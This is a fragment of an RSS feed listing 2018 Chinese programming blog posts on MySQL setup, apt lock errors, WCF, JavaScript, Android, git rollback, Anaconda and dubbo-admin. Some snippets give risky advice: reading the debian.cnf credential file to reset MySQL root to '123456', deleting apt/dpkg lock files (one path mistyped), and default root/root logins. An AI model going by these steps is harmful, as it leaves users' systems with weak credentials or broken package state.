      <description>由于初次安装Mysql没有用户，所以也没有对应的密码，但是Mysql会初始化一组用户名和密码&#xA;sudo vim /etc/mysql/debian.cnf&#xA;mysql -u debian sys-maint -p//此处出入文件内的密码&#xA;进入mysql：&#xA;mysql&amp;gt;update mysql.user set authentication_string=password(&#39;123456&#39;) where user=&#39;root&#39; and host=&#39;localhost&#39;;&#xA;mysql&amp;gt;update user set plugin=&#34;mysql_native_password&#34;;&#xA;mysql&amp;gt;flush privileges;&#xA;mysql&amp;gt;quit;&#xA;sudo service mysql restart</description>
    </item>
    <item>
      <title>E：Could not get lock ......</title>
      <link>https://bchobby.github.io/posts/724d2aa1f0bc409933b29d6346b13291/</link>
      <pubDate>Thu, 29 Nov 2018 16:23:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/724d2aa1f0bc409933b29d6346b13291/</guid>
      <description>E：Could not get lock ......&#xA;出现原因是有另外一个程序正在运行导致资源被锁不可用&#xA;解决：&#xA;sudo rm /var/cache/apt/archives/lock&#xA;sudo rm var/lib/dpkg/lock</description>
    </item>
    <item>
      <title>WCF入门教程</title>
      <link>https://bchobby.github.io/posts/d43d5da054e46f2bd63eb60019117da4/</link>
      <pubDate>Wed, 28 Nov 2018 23:50:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d43d5da054e46f2bd63eb60019117da4/</guid>
      <description>这一系列文章的内容是从MSDN中COPY过来的，讲述的是最简单的WCF程序示例：如何在控制台应用程序实现和承载WCF服务，以及如何创建、配置和使用WCF客户端。&#xA;文章主体可分为两部分，分别介绍服务器端和客户端的编程实现。细分的话，可以分为六项任务。&#xA;服务器端 定义WCF服务协定（任务一） 这是创建基本 Windows Communication Foundation (WCF) 服务和可以使用该服务的客户端所需的六项任务中的第一项任务。&#xA;创建基本 WCF 服务时，第一项任务是为与外界共享的服务创建协定，并在其中描述如何与该服务进行通信。&#xA;具体步骤为： 1、 创建新的控制台应用程序项目。 在“新建项目”对话框中，选中“Visual Basic”或“Visual C#”，并选择“控制台应用程序”模板，并命名为Service。 使用默认的位置。&#xA;2、将默认的Service 命名空间更改为 Microsoft.ServiceModel.Samples。&#xA;3、为项目提供对 System.ServiceModel 命名空间的引用：右击“解决方案资源管理器”中的“Service”项目，选择“添加引用”项，在弹出的对话框中的“.NET”选项卡里的“组件名称”中选择“System.ServiceModel”，然后单击“确定”。&#xA;下面是编程步骤：&#xA;1、为 System.ServiceModel 命名空间添加一个 using 语句。 using System.ServiceModel;&#xA;2、创建一个新的ICalculator 接口，并将 ServiceContractAttribute 属性应用于该接口，并将 Namespace 值设置为“http://Microsoft.ServiceModel.Samples”。 此命名空间指定该服务在计算机上的路径，并构成该服务的基址部分。 请注意，在通过采用方括号表示法的属性来批注接口或类时，该属性类可以从其名称中去掉“Attribute”部分。&#xA;[ServiceContract(Namespace = &#34;http://Microsoft.ServiceModel.Samples&#34;)] public interface ICalculator&#xA;3、在接口中创建方法声明，并将 OperationContractAttribute 属性应用于每个要作为公共 WCF 协定的一部分公开的方法。 [OperationContract]&#xA;double Add(double n1, double n2);&#xA;[OperationContract]&#xA;double Subtract(double n1, double n2);&#xA;[OperationContract]&#xA;double Multiply(double n1, double n2);</description>
    </item>
    <item>
      <title>JS： （1）点击按钮切换状态</title>
      <link>https://bchobby.github.io/posts/094496e7a6ab07e96712a84515c7d161/</link>
      <pubDate>Tue, 27 Nov 2018 17:20:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/094496e7a6ab07e96712a84515c7d161/</guid>
      <description>分别按编号和日期进行排序（仅有点击样式切换，无排序效果）：&#xA;html: &amp;lt;div class=&#34;sort-options clearfix&#34;&amp;gt; &amp;lt;div class=&#34;option&#34; data-sort=1&amp;gt;编号&amp;lt;/div&amp;gt; &amp;lt;div class=&#34;option&#34; data-sort=0&amp;gt;日期&amp;lt;/div&amp;gt; &amp;lt;a class=&#34;bg-filter&#34; href=&#34;options.html&#34;&amp;gt;筛选&amp;lt;/a&amp;gt; &amp;lt;/div&amp;gt; CSS: .sort-options { width: 100%; height: 0.68rem; line-height: 0.68rem; background: #b1000c; } .sort-options .option{ width: 2.5rem; float: left; color: #ffffff; text-align: center; font-size: 0.28rem; color: #fff; cursor: pointer;&#x9;position: relative; } .sort-options .option::before, .sort-options .option::after { width: 2.5rem; height: 0.34rem; display: block; content: &#39;&#39;; background-repeat: no-repeat; background-size: 0.2rem; opacity: 0.7; } .sort-options .option::before{ background-image: url(.</description>
    </item>
    <item>
      <title>.NET 开发从入门到精通</title>
      <link>https://bchobby.github.io/posts/457065651c3c380d2bc58f5e47b3f7e0/</link>
      <pubDate>Tue, 27 Nov 2018 14:13:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/457065651c3c380d2bc58f5e47b3f7e0/</guid>
      <description>.NET 开发从入门到精通 摘要: .NET平台及其开发工具为今天的开发者提供了可靠、易用的平台，使得我们可以更加从容的面对Windows应用程序开发的挑战。本系列课程介绍微软基于.NET平台的开发工具Visual Studio .NET 2003和开发.NET应用程序的内容。阅读全文&#xA;posted @ 2010-10-24 14:24 山天大畜 阅读(16892) | 评论 (2) 编辑&#xA;第14讲：复杂的问题，一流的解决方案&#xA;摘要: 如何开发大型的工程项目，如何开发企业级的应用、如何进行组件化的开发，无论哪个问题都会让每一个开发人员的工作变得越来越复杂。本讲是“.NET开发从入门到精通”系列的最后一次，在此会为您介绍Visual Studio? .NET中一些独立的工具，和如何使用这些工具来帮助您解决开发过程中遇到的复杂问题。另外，我们还会介绍一些适用于.NET开发的设计模式。阅读全文&#xA;posted @ 2010-10-24 14:21 山天大畜 阅读(1380) | 评论 (0) 编辑&#xA;第13讲：深入ADO.NET开发—高级数据访问技术&#xA;摘要: 您是否想更深一步的了解ADO.NET，了解ADO.NET中更深入的知识？本讲为您讲述ADO.NET的高级数据访问技术，让您的应用程序具有更强的数据访问能力。阅读全文&#xA;posted @ 2010-10-23 00:30 山天大畜 阅读(3292) | 评论 (0) 编辑&#xA;第12讲：将安全隐患扼杀在摇篮之中——用Microsoft .NET来保护数据和应用程序的安全&#xA;摘要: 网络中存在着各种各样的威胁数据的安全隐患，你是否有信心来从容面对，尽可能的采取措施来维护应用程序的安全呢？本讲我们将为您演示.NET提供了怎样强大的、层次型的安全平台，安全的开发基于Windows的软件。阅读全文&#xA;posted @ 2010-10-20 23:36 山天大畜 阅读(795) | 评论 (0) 编辑&#xA;第11讲：提高Web应用程序的用户体验——使用智能客户端开发分布式的Windows Forms应用程序&#xA;摘要: Web应用程序具有很多越特性：例如易部署性和高可用性；但你是否曾经想象过怎样才能在不牺牲用户体验的同时获得Web应用程序的强大优势呢？本讲我将为大家演示如何使用智能客户端技术来开发Windows Forms应用程序。智能客户端技术不仅能够让应用程序具有丰富的用户体验，又能够具有Web应用程序的强大优势，让软件变得更加完美。阅读全文&#xA;posted @ 2010-10-18 23:57 山天大畜 阅读(1262) | 评论 (0) 编辑</description>
    </item>
    <item>
      <title>【ECG理论篇】（3）AI实现心律失常判别：心电信号的波形识别与特征提取</title>
      <link>https://bchobby.github.io/posts/97d3c606c8e2daa3da5d316660ea8ff1/</link>
      <pubDate>Mon, 26 Nov 2018 10:39:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/97d3c606c8e2daa3da5d316660ea8ff1/</guid>
      <description>心电图中的各个波形都包含了非常多的信息，例如RR间期可以反映心动周期的时限；相邻心动周期的 RR 间期的比值可以反映室性早搏；R 波和 S 波幅值的比值和 R 波和 S 波之间的时限可以反映房性早搏等异常情况，等等&#xA;所以识别这些波形以及提取相应特征对我们后续做心律失常的分类很重要。&#xA;我们在用算法做心律失常判别分类之前，有两个关键点：&#xA;第一步： 识别检测ECG信号中的波群（目前主要是先定位QRS波群，再依次定位其它波群）第二步： 对波群进行信号特征的提取（不同波形的不同状态展示了心脏的情况，所以提取这些波群的信号特征，是我们做分类判别的关键） 1.心电图波形 首先来学习认识一下心电图中各个波形的含义&#xA;一个正常的心电信号在一个周期内，是由P波，QRS波群以及T波组成&#xA;P波：代表心脏除极，一般呈现钝圆形，幅度约为0.25mV，持续时间为0.08~0.11s。&#xA;PR间期：指心房除极开始到心室除极开始的传导时间，一般是从P波开始到QRS波的起点，正常PR间隔时间为：0.12s-0.20s。&#xA;QRS：代表心室肌的除极产生的电位变化，是心电图中最高大，快速的波形。&#xA;T波：代表心室肌的复极&#xA;QT间期：代表心脏去极化和复极过程，即心室收缩的总时间。QT 间隔和心率相关，心率越快，QT 间隔越短，反之越长&#xA;RR间隔：是指连续两个心电周期 R 峰值间隔变化特征，是常用的心拍识别标准之一&#xA;2.心电信号的波形识别检测与特征提取 心电信号的波形识别，主要是指识别QRS波群（因为它最明显）。只有当正确检测到QRS复合波群之后，我们才能根据QRS波群来确定其它典型波群的特征和位置，为心律失常分类提供基础。&#xA;目前心电信号中QRS波群的检测主要有小波变换法，差分阈值法 等等 选哪个需要根据自己的方向来定，小波变换法的计算量较大。&#xA;Pan-Tompkins算法是最经典的， 具体哪个算法最好，要根据自己的方向来定。因为这里面涉及一些信号处理的知识，自己需要先学学，目前暂时不能详细叙述各个波群检测算法的原理&#xA;所以这里先待定填坑 确定了QRS波群之后，我们可以根据QRS波群来确定其它波（T波，P波，QR间期等等）&#xA;确定完这些波，我们就可以根据提取这些波的信号特征，为后期心律判别奠定基础&#xA;心电信号特征提取的常用方法包括：心电信号的时域特征、心电信号的变换域特征等方法。。。&#xA;心电信号的时域特征主要反映了心电信号的形态和直观特征，变换域特征是指分别从不同维度不同方向描绘心电信号，整合心电信号的时域特征和变换域特征就可以很好的描述心电信号啦。&#xA;具体的特征提取方法还有待研究，这里先待定填坑 ECG（心电）信号在波形检测完成之后会被分为多个心拍，不同的心拍类型应该被 分为特定的类别，这个过程就是心律失常的诊断和识别过程&#xA;参考文献：&#xA;可穿戴式心电监测模块的心律失常分类算法研究.卢莉莉&#xA;基于 LSTM 的心律失常分类研究.李雪</description>
    </item>
    <item>
      <title>00005__VSCode__xml格式化代码插件</title>
      <link>https://bchobby.github.io/posts/312194239b9ca27c45e3a3dcadd2c84a/</link>
      <pubDate>Sat, 24 Nov 2018 21:03:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/312194239b9ca27c45e3a3dcadd2c84a/</guid>
      <description> 1 XML或HTML格式化代码缩进 安装插件：Vetur 2 格式化代码的快捷键如下 On Windows ：Shift + Alt + FOn Mac： Shift + Option + FOn Ubuntu： Ctrl + Shift + I </description>
    </item>
    <item>
      <title>input[type=file] 获取上传文件的内容</title>
      <link>https://bchobby.github.io/posts/a407112d04b9de443c69fa178de26b25/</link>
      <pubDate>Sat, 24 Nov 2018 17:40:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a407112d04b9de443c69fa178de26b25/</guid>
      <description>上代码：&#xA;&amp;lt;input type=&#34;file&#34; name=&#34;file&#34; id=&#34;fileUpload&#34;&amp;gt; jquery：&#xA;$(&#34;#fileUpload&#34;).change(function () { console.log($(&#34;#fileUpload&#34;)[0].files); }); 打印结果：&#xA;input file 读取文件内容 &amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html lang=&#34;en&#34;&amp;gt; &amp;lt;head&amp;gt; &amp;lt;title&amp;gt;&amp;lt;/title&amp;gt; &amp;lt;script src=&#34;js/jquery.min.js&#34; type=&#34;text/javascript&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;script type=&#34;text/javascript&#34;&amp;gt; if(typeof FileReader == &#34;undified&#34;) { alert(&#34;您老的浏览器不行了！&#34;); } function showDataByURL() { var resultFile = document.getElementById(&#34;fileDemo&#34;).files[0]; if (resultFile) { var reader = new FileReader(); reader.readAsDataURL(resultFile); reader.onload = function (e) { var urlData = this.result; document.getElementById(&#34;result&#34;).innerHTML += &#34;&amp;lt;img src=&#39;&#34; + urlData + &#34;&#39; alt=&#39;&#34; + resultFile.name + &#34;</description>
    </item>
    <item>
      <title>java poi生成Excel并存到指定路径(简化版本)</title>
      <link>https://bchobby.github.io/posts/783bd1123d9057d20e7251cb353ccc57/</link>
      <pubDate>Sat, 24 Nov 2018 12:13:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/783bd1123d9057d20e7251cb353ccc57/</guid>
      <description>之前写过java生成Excel,然后感觉还不够方便使用,就重新写了下方法, 现在只需要调用传参就ok啦, 是不是很方便呢 ?&#xA;需要引入的jar包:&#xA;import java.io.File;&#xA;import java.io.FileOutputStream;&#xA;import java.io.IOException;&#xA;import java.util.List;&#xA;import java.util.Map;&#xA;import org.apache.poi.hssf.usermodel.HSSFRow;&#xA;import org.apache.poi.hssf.usermodel.HSSFSheet;&#xA;import org.apache.poi.hssf.usermodel.HSSFWorkbook;&#xA;import net.sf.json.JSONArray;&#xA;/** * 生成Excel 并放到指定位置 *@param filepath 文件路径(要绝对路径) *@param filename 文件名称 (如: demo.xls 记得加.xls哦) *@param titlelist 标题名称list *@param zdlist 字段list *@param datalist 数据list (这里也可以改成List&amp;lt;Map&amp;lt;String,String&amp;gt;&amp;gt; 格式的数据) *@return 是否正常生成 *@throws IOException *@author: *2018年11月24日 上午11:40:39 * (titlelist 和 zdlist 顺序要一直, 要一一对应) */ public static boolean createExcel(String filepath,String filename,List&amp;lt;String&amp;gt; titlelist,List&amp;lt;String&amp;gt; zdlist,JSONArray datalist) throws IOException{ boolean success = false; try { //创建HSSFWorkbook对象(excel的文档对象) HSSFWorkbook wb = new HSSFWorkbook(); // 建立新的sheet对象（excel的表单） HSSFSheet sheet = wb.</description>
    </item>
    <item>
      <title>Android Material Design 之  BottomSheetBehavior</title>
      <link>https://bchobby.github.io/posts/0ffd8c1d8171ba69bca97e0ebfc0936e/</link>
      <pubDate>Fri, 23 Nov 2018 23:05:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0ffd8c1d8171ba69bca97e0ebfc0936e/</guid>
      <description>前面已经介绍了如何在地图上自定义Marker 和 Poi搜索 说实话录个视频真麻烦,还得转gif , 转就转吧图片还有大小限制 , 你说气人不 !&#xA;看过前两篇地图相关的博客,应该可以看出来, 屏幕底部有个展示数据的列表 ,可以跟随手指拖拽、滑动, 这样的效果在高德地图app中见过, 饿了么点餐的时候好像也有 , 其实这是Google Material Design 的 BottomSheetBehavior 那BottomSheetBehavior 啥意思? 近几年Google大力提倡Material Design , 这是个设计规范 , 里面重新定义了各种UI的规则 , 什么CoordinatorLayout、AppBarLayout、CollapsingToolbarLayout、RecyclerView、NestedScrollView.... 官方文档的地址 https://material.io/develop/android/components/bottom-sheet-behavior/&#xA;BottomSheetBehavior 是个底部动作条的意思 , 可以设置最小高度和最大高度 ,执行进入/退出动画，响应拖动/滑动手势等 滑动起来不要太流畅 , 光说文字看不出效果 , 先来张Google Map的实现效果吧&#xA;下面就开始来实现个类似的效果喽, 数据填充就用Poi搜索获取的数据 , 想要使用这个新的控件需要添加额外的依赖包&#xA;implementation &#39;com.android.support:design:27.1.0&#39; 先看下布局文件吧&#xA;&amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;utf-8&#34;?&amp;gt; &amp;lt;android.support.design.widget.CoordinatorLayout xmlns:android=&#34;http://schemas.android.com/apk/res/android&#34; xmlns:app=&#34;http://schemas.android.com/apk/res-auto&#34; android:id=&#34;@+id/coordinatorLayout&#34; android:layout_width=&#34;match_parent&#34; android:layout_height=&#34;match_parent&#34; android:fitsSystemWindows=&#34;true&#34;&amp;gt; &amp;lt;com.amap.api.maps.MapView android:id=&#34;@+id/mapView&#34; android:layout_width=&#34;match_parent&#34; android:layout_height=&#34;match_parent&#34; android:fitsSystemWindows=&#34;true&#34; /&amp;gt; &amp;lt;android.support.v7.widget.CardView android:id=&#34;@+id/cardView&#34; android:layout_width=&#34;match_parent&#34; android:layout_height=&#34;</description>
    </item>
    <item>
      <title>ab测试时报 apr_socket_recv: Connection timed out (110)</title>
      <link>https://bchobby.github.io/posts/30d1c2c722c6ec813ed94661c4be9ac7/</link>
      <pubDate>Fri, 23 Nov 2018 19:04:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/30d1c2c722c6ec813ed94661c4be9ac7/</guid>
      <description>2019独角兽企业重金招聘Python工程师标准&amp;gt;&amp;gt;&amp;gt; 在目标服务器上执行&#xA;ulimit -n 999999&#xA;其他常规的服务器参数优化参考这 参考&#xA;ab发送post数据的方法&#xA;# post_loc.txt contains the json you want to post&#xA;# -p means to POST it&#xA;# -H adds an Auth header (could be Basic or Token)&#xA;# -T sets the Content-Type&#xA;# -c is concurrent clients&#xA;# -n is the number of requests to run in the test&#xA;ab -p post_loc.txt -T application/json -H &#39;Authorization: Token abcd1234&#39; -c 10 -n 2000 http://example.</description>
    </item>
    <item>
      <title>判断来路页面，决定显示哪一部分</title>
      <link>https://bchobby.github.io/posts/cf100f6fb34a4525dee76ce68da1c5dc/</link>
      <pubDate>Fri, 23 Nov 2018 17:05:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cf100f6fb34a4525dee76ce68da1c5dc/</guid>
      <description> var url = document.referrer; if(url.indexOf(&#34;addVehicle&#34;)&amp;gt;-1 ||url.indexOf(&#34;copyAddVehicle&#34;)&amp;gt;-1 ||url.indexOf(&#34;updateVehicle&#34;)&amp;gt;-1){ $(&#34;#vehicle&#34;).click(); } else if(url.indexOf(&#34;borrowvehicle&#34;)&amp;gt;-1 ||url.indexOf(&#34;vehicleuserecord&#34;)&amp;gt;-1){ $(&#34;#vehicleuse&#34;).click(); } else{ $(&#34;#collapseEquipment&#34;).collapse(&#39;show&#39;); } </description>
    </item>
    <item>
      <title>RepeatMasker使用</title>
      <link>https://bchobby.github.io/posts/8f51644a93715cdff4b3c1a2491a31b2/</link>
      <pubDate>Fri, 23 Nov 2018 16:56:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8f51644a93715cdff4b3c1a2491a31b2/</guid>
      <description>RM是library-based，通过相似性比对来识别重复序列，可以屏蔽序列中转座子重复序列和低复杂度序列（默认将其替换成N）。使用数据库Dfam和Repbase。&#xA;The Dfam database is a collection of Repetitive DNA element sequence alignments, hidden Markov models (HMMs) and matches lists for complete Eukaryote genomes.&#xA;Repbase是由美国遗传信息研究所（GIRI）创建并维护，收录了转座子和其他重复序列及其注释信息。&#xA;本地安装RepeatMasker，除了需要RepeatMasker主程序外，还需要TRF（Tandem Repeats Finder）、序列搜索引擎（以RMBlast为例）以及Repbase数据库。&#xA;搜索引擎可以安装多个，但是每次只能用一个。&#xA;Using RepeatMasker to Identify Repetitive Elements in Genomic Sequences&#xA;要屏蔽的区域：low-complexity DNA sequences and interspersed repeats&#xA;比对引擎：cross_match WU-BLAST(更快)&#xA;如果DNA source没有参考基因组，那么需要用RECON或者RepeatScout建立一个Repbase类型的文件&#xA;安装：&#xA;http://www.repeatmasker.org/RMDownload.html&#xA;sequence search engine&#xA;cross_match 要注册啥的，没搞&#xA;RMBlast blast的修改版本，此处用了2.2.28版本，需要下载http://www.repeatmasker.org/RMBlast.html&#xA;这里的两个binary，然后解压就可以了&#xA;HMMER 下载v3.1b2版本&#xA;ABBlast/WUBlast 也要注册啥的，没弄&#xA;TRF&#xA;下载TRF v4.0.4&#xA;Repeat database&#xA;下载Dfam和RepBase(要注册下载)&#xA;装完之后用./configure配置，修改好path就可以了。</description>
    </item>
    <item>
      <title>从url获取参数</title>
      <link>https://bchobby.github.io/posts/93cf93cf1986526a4902dfaa29d2ba31/</link>
      <pubDate>Fri, 23 Nov 2018 15:45:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/93cf93cf1986526a4902dfaa29d2ba31/</guid>
      <description>/** * 获取url参数值 */ function getQueryString(name) { var reg = new RegExp(&#34;(^|&amp;amp;|&amp;amp;%20)&#34; + name + &#34;=([^&amp;amp;]*)(&amp;amp;|$)&#34;, &#34;i&#34;); var r = window.location.search.substr(1).match(reg); if (r != null) return unescape(r[2]); return null; } window.location.href=&#34;copyAddVehicle.html?vd=&#34;+vehicleid;&#xA;var equipid = getQueryString(&#34;vd&#34;);</description>
    </item>
    <item>
      <title>dubbo管理工具dubbo-admin安装使用</title>
      <link>https://bchobby.github.io/posts/2755711dc11e3b458a7aa45c094ede87/</link>
      <pubDate>Fri, 23 Nov 2018 10:08:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2755711dc11e3b458a7aa45c094ede87/</guid>
      <description>dubbo-admin是阿里巴巴的发布的dubbo管理平台&#xA;1.获取war&#xA;官方下载地址：https://github.com/alibaba/dubbo 获取到源码切到【2.5x】最新版本没有dubbo-admin子项目了，换成其他的了&#xA;获取到源码之后用mvn打包获取到dubbo-admin-2.5.10.war&#xA;下载我编译好的war(jdk1.8 ie下消费者没有显示chrome正常）&#xA;下载我编译好的war(jdk1.6)&#xA;2.启动&#xA;将war包解压（jar -xvf dubbo-admin-2.5.10.war）到tomcat webapps/ROOT 下（删除原有文件）&#xA;修改zookeeper服务地址WEB-INF/dubbo.properties&#xA;启动tomcat&#xA;3.访问&#xA;http://localhost:8080/&#xA;root/root&#xA;附：指定tomcat运行时JDK版本&#xA;windows&#xA;1、解压下载的tomcat;&#xA;2、找到bin下的setclasspath.bat文件；在文件的开始出添加如下代码：&#xA;set JAVA_HOME=D:\Program Files\Java\jdk7\jdk1.7.0_51&#xA;set JRE_HOME=D:\Program Files\Java\jdk7\jre7&#xA;linux&#xA;在bin下找到setclasspath.sh，在文件的最开始加入如下代码：&#xA;set JAVA_HOME=/home/jdk/Java\jdk7\jdk1.7.0_51&#xA;set JRE_HOME=/home/jdk/Java\jdk7\jre7&#xA;原文：https://blog.csdn.net/luo4105/article/details/70829489&#xA;https://blog.csdn.net/qq173684423/article/details/79553565&#xA;https://blog.csdn.net/MonkeyKing_1990/article/details/79182737</description>
    </item>
    <item>
      <title>python(三)基于flask返回json数据接口：flask-sqlalchemy详细介绍</title>
      <link>https://bchobby.github.io/posts/5ca7784e8806be6797f71ae2310a75ca/</link>
      <pubDate>Fri, 23 Nov 2018 01:21:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5ca7784e8806be6797f71ae2310a75ca/</guid>
      <description>因为不关心前台页面的开发，前台工程师给我提供了一份json样式。让我实现，然后给出了筛选条件。还是接着上篇文章，将ORM这块仔细写写。这篇文章也将关于flask-sqlalchemy的总结，我会把用户遇到的格式问题都总结在这里面。我写博客的原则，用过什么写什么，没涉及的也不瞎写了。&#xA;首先看前台工程师给我提供的json返回格式样例。大概就是以song为对象的list，里面有嵌着多对多关系的歌手和一对多的版权&#xA;{ &#34;Songs&#34;: [ { &#34;ID&#34;: 28, &#34;artist&#34;: [ &#34;吴克群&#34; ], &#34;lyric&#34;: &#34;&#34;, &#34;title&#34;: &#34;大舌头&#34; &#34;copyrights&#34;: { &#34;lyric&#34;: [ { &#34;OP&#34;: &#34;成果音乐版权有限公司&#34;, &#34;SP&#34;: &#34;&#34;, &#34;disctrict&#34;: &#34;&#34;, &#34;endDate&#34;: &#34;永久&#34;, &#34;lyricists&#34;: &#34;吴克群&#34;, &#34;share&#34;: &#34;50.0%&#34;, &#34;startDate&#34;: &#34;&#34; } ] } } ], &#34;paging&#34;: { &#34;page-index&#34;: 1, &#34;page-size&#34;: 20, &#34;total&#34;: 25 } } 上篇文章的时候我已经将model层的代码粘了出来，这里再粘贴一次&#xA;from mock import db artist_songs = db.Table(&#39;artist_songs&#39;, db.Column(&#39;song_id&#39;, db.Integer, db.ForeignKey(&#39;songs.id&#39;)), db.Column(&#39;artist_id&#39;, db.Integer, db.ForeignKey(&#39;artists.id&#39;)) ) class songs(db.Model): __tablename__ = &#39;songs&#39; id = db.</description>
    </item>
    <item>
      <title>00004__VSCode__配置注释和自动提示</title>
      <link>https://bchobby.github.io/posts/dde538f09111d1900fc0fbd21cdb50c3/</link>
      <pubDate>Wed, 21 Nov 2018 17:52:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dde538f09111d1900fc0fbd21cdb50c3/</guid>
      <description>1 自动提示&#xA;按 ctrl+shift+p，在上面出现的框里输入c/cpp，点击C/Cpp:Edit Configurations项编辑配置文件 c_cpp_properties.json，里面很多是自动生成的，主要对应平台（Win32，因为是Windows）修改includepath和path&#xA;2 注释&#xA;击 ”F1“打开控制台，直接输入“用户代码”，选择下拉栏中“cpp.json(C++)”(根据不同的编程语言选择不同的json)文件</description>
    </item>
    <item>
      <title>git 回退回滚取消提交返回上一版本</title>
      <link>https://bchobby.github.io/posts/8800894bc5c70b19a5aa97e82ce5bfe3/</link>
      <pubDate>Wed, 21 Nov 2018 15:06:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8800894bc5c70b19a5aa97e82ce5bfe3/</guid>
      <description>总有一天你会遇到下面的问题.&#xA;(1)改完代码匆忙提交,上线发现有问题,怎么办? 赶紧回滚.&#xA;(2)改完代码测试也没有问题,但是上线发现你的修改影响了之前运行正常的代码报错,必须回滚.&#xA;这些开发中很常见的问题,所以git的取消提交,回退甚至返回上一版本都是特别重要的.&#xA;大致分为下面2种情况:&#xA;1.没有push&#xA;这种情况发生在你的本地代码仓库,可能你add ,commit 以后发现代码有点问题,准备取消提交,用到下面命令&#xA;reset&#xA;git reset [–soft | --mixed | --hard&#xA;上面常见三种类型&#xA;–mixed&#xA;会保留源码,只是将git commit和index 信息回退到了某个版本.&#xA;git reset 默认是 --mixed 模式&#xA;git reset --mixed 等价于 git reset&#xA;–soft&#xA;保留源码,只回退到commit 信息到某个版本.不涉及index的回退,如果还需要提交,直接commit即可.&#xA;–hard&#xA;源码也会回退到某个版本,commit和index 都回回退到某个版本.(注意,这种方式是改变本地代码仓库源码)&#xA;当然有人在push代码以后,也使用 reset --hard &amp;lt;commit…&amp;gt; 回退代码到某个版本之前,但是这样会有一个问题,你线上的代码没有变,线上commit,index都没有变,当你把本地代码修改完提交的时候你会发现权是冲突…&#xA;所以,这种情况你要使用下面的方式&#xA;2.已经push&#xA;对于已经把代码push到线上仓库,你回退本地代码其实也想同时回退线上代码,回滚到某个指定的版本,线上,线下代码保持一致.你要用到下面的命令&#xA;revert&#xA;git revert用于反转提交,执行evert命令时要求工作树必须是干净的.&#xA;git revert用一个新提交来消除一个历史提交所做的任何修改.&#xA;revert 之后你的本地代码会回滚到指定的历史版本,这时你再 git push 既可以把线上的代码更新.(这里不会像reset造成冲突的问题)&#xA;revert 使用,需要先找到你想回滚版本唯一的commit标识代码,可以用 git log 或者在adgit搭建的web环境历史提交记录里查看.&#xA;git revert c011eb3c20ba6fb38cc94fe5a8dda366a3990c61 通常,前几位即可&#xA;git revert c011eb3 git revert是用一次新的commit来回滚之前的commit，git reset是直接删除指定的commit</description>
    </item>
    <item>
      <title>Threejs ShapeGeometry自定义形状贴图</title>
      <link>https://bchobby.github.io/posts/25609a7346f3139b225ff0f146fd20b4/</link>
      <pubDate>Wed, 21 Nov 2018 14:40:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/25609a7346f3139b225ff0f146fd20b4/</guid>
      <description>最近项目需要在3D场景中给自定义的楼层区域进行贴图区分，对于普通的的纯色材质，实现比较简单，但是如果要进行纹理贴图的材质，就有点复杂了，这里写篇文章记录下。&#xA;首先看看我们的楼层定义，如何实现自定义区域。其实很简单，我们使用有序的点来定义楼层的平面形状，然后根据平面的定义，自动生成3d的平面区域。&#xA;var areaPts = []; for (var idx = 0 ; idx &amp;lt; area.points.length; idx++) { var p = area.points[idx]; var v = new THREE.Vector2(p.px , p.py ); areaPts.push(v); } var areaShape = new THREE.Shape(areaPts); var geometry = new THREE.ShapeGeometry(areaShape); 如果是纯色的贴图我们怎么做，很简单直接设置颜色即可&#xA;var material = new THREE.MeshBasicMaterial({ color: color, side: THREE.DoubleSide, transparent: true, opacity: opacity }); var mesh = new THREE.Mesh(geometry, material); 对于贴图，我们使用同样的方法，看看会的到什么效果呢&#xA;var texture = new THREE.CanvasTexture(canvas); var material = new THREE.</description>
    </item>
    <item>
      <title>使用Anaconda切换Python3.x环境与Python2.7环境</title>
      <link>https://bchobby.github.io/posts/e1161d839bfee46120ef8c11a4f0ff6d/</link>
      <pubDate>Wed, 21 Nov 2018 11:53:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e1161d839bfee46120ef8c11a4f0ff6d/</guid>
      <description>1、首先确保你的系统里已经安装了Conda，打开命令行窗口，执行命令：conda --version&#xA;2、查看你的系统当前已有的Python环境，执行命令：conda info --envs，从图中我们看到，我的机器里目前只有安装Anaconda时创建的默认Python环境，环境名称叫root，对应的Python版本是3.7&#xA;3、现在，我想添加一个Python2.7的环境，执行命令：conda create --name python27 python=2.7，命令中我制定了环境名称是python27，指定了Python版本是2.7，执行命令后，Conda会自动下载最新版的Python2.7，并自动部署&#xA;4、此时，再次查看你的系统当前已有的Python环境，执行命令：conda info --envs，从图中我们看到，这里多了一个名字为python27的Python环境&#xA;5、查看我们当前使用的Python版本，执行命令：python --version，从图中看到当前的Python环境是3.7版本&#xA;6、切换Python环境到刚才新添加的Python2.7，执行命令：activate python27，然后执行命令：python --version，查看是否切换成功，细心的同学会发现我上面敲的命令是在git bash里执行的，但切换的命令是在cmd里执行，这是因为我发现在git bash里执行没有用，不知道其他同学会不会。&#xA;7、在Python27环境下，完成工作后，切回原来的Python环境，执行命令：deactivate python27/ activate base 两个都可以&#xA;8、如果刚才添加的Python27环境，不再使用，可通过执行命令：conda remove --name python27 --all，进行删除</description>
    </item>
    <item>
      <title>新手：webstorm如何用git在码云拉取项目，提交代码</title>
      <link>https://bchobby.github.io/posts/7442e0c61c4fc490b73ff44916dd67e3/</link>
      <pubDate>Tue, 20 Nov 2018 20:36:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7442e0c61c4fc490b73ff44916dd67e3/</guid>
